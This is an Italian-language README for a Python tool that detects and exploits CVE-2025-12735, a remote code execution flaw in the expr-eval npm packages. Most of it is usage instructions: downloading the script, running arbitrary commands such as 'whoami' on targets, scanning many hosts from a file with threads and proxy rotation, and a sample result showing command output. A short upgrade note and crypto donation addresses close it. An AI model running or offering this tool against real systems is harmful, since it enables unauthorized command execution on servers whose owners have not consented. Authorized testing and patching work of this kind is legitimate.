
Strumento di ricerca sulla sicurezza per rilevare e testare la CVE-2025-12735 (vulnerabilità RCE di expr-eval)
Uno strumento di ricerca sulla sicurezza per individuare e testare la vulnerabilità CVE-2025-12735 nei pacchetti npm expr-eval e expr-eval-fork.
Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e scopi educativi. L'accesso non autorizzato a sistemi informatici è illegale. Utilizza questo strumento solo su sistemi di tua proprietà o per i quali hai ricevuto esplicito permesso scritto per i test.
La CVE-2025-12735 è una vulnerabilità critica di Remote Code Execution nei pacchetti npm expr-eval e expr-eval-fork. Questa vulnerabilità consente agli attaccanti di definire funzioni arbitrarie all'interno dell'oggetto context utilizzato dal parser, permettendo l'iniezione di codice malevolo che esegue comandi a livello di sistema.
Punteggio CVSS: 9.8 (Critico)
Versioni interessate: expr-eval-fork < 3.0.0
Versione corretta: expr-eval-fork v3.0.0+
# Clone the repository
git clone https://github.com/AN5I/cve-2025-12735-expr-eval-rce.git
cd cve-2025-12735-expr-eval-rce
# Install dependencies
pip install -r requirements.txt
# Make script executable (optional)
chmod +x uknf_cve_2025_12735_expr_eval_rce.py
# Download the script
wget https://raw.githubusercontent.com/AN5I/cve-2025-12735-expr-eval-rce/main/uknf_cve_2025_12735_expr_eval_rce.py
# Install dependencies
pip install requests
# Single target
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com
# Execute custom command
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -c "whoami"
# Multiple targets from file
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt -o results.json
# With threading for faster scanning
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -t 5
# Verbose output for debugging
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -v
# Single proxy
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com --proxy http://proxy:port
# Multiple proxies from file
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt --proxy-list proxies.txt
-u, --url Target URL
-f, --file File containing target URLs (one per line)
-c, --command Command to execute (default: id)
-t, --threads Number of threads (default: 1)
-o, --output Output file (default: uknf_expr_eval_results.json)
-v, --verbose Enable verbose logging
--proxy Proxy URL (e.g., http://127.0.0.1:8080)
--proxy-list File containing proxy URLs (one per line)
Lo script genera un file JSON con risultati dettagliati:
{
"target": "http://target.com",
"timestamp": "2025-11-20T15:35:32.638109",
"expr_eval_detected": true,
"vulnerable": true,
"endpoint_found": true,
"exploitation_successful": true,
"command_executed": "id",
"output": "uid=1000(user) gid=1000(user)...",
"vulnerable_endpoint": "/api/evaluate"
}
Se stai utilizzando expr-eval o expr-eval-fork:
Aggiorna immediatamente:
npm install expr-eval-fork@latest
Applica la patch di sicurezza:
Implementa la validazione degli input:
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com
# Create targets file
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt
# Run scan
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt -o results.json
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com -c "uname -a"
# Single proxy
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com --proxy http://127.0.0.1:8080
# Multiple proxies from file
echo "http://proxy1:8080" > proxies.txt
echo "http://proxy2:8080" >> proxies.txt
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt --proxy-list proxies.txt
I contributi sono benvenuti! Non esitare a inviare una Pull Request.
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)Se incontri problemi o hai suggerimenti, apri un issue su GitHub.
Questo progetto è concesso in licenza secondo la MIT License - consulta il file LICENSE per i dettagli.
Se trovi utile questo strumento, considera di mettere una stella su GitHub!
Questo strumento è fornito esclusivamente per scopi educativi e test di sicurezza autorizzati. Gli autori non sono responsabili per un uso improprio o danni causati da questo programma. Gli utenti sono responsabili di assicurarsi di avere la dovuta autorizzazione prima di testare qualsiasi sistema.
Se trovi utile questo strumento e desideri sostenere il progetto:
Bitcoin (BTC):
bc1qj95y35w8r2mw0u28zrm3dmxtzjkq258xdv8tzv
Ethereum (ETH):
0x3DC302a3f35F6cD1A03FF4982EcE0dE8fE1cEba7
Grazie per il tuo supporto! 🙏